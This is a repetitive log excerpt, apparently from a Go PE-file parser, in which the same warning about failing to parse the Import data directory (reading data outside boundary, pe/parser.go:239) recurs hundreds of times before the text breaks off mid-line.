+time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:18+01:00 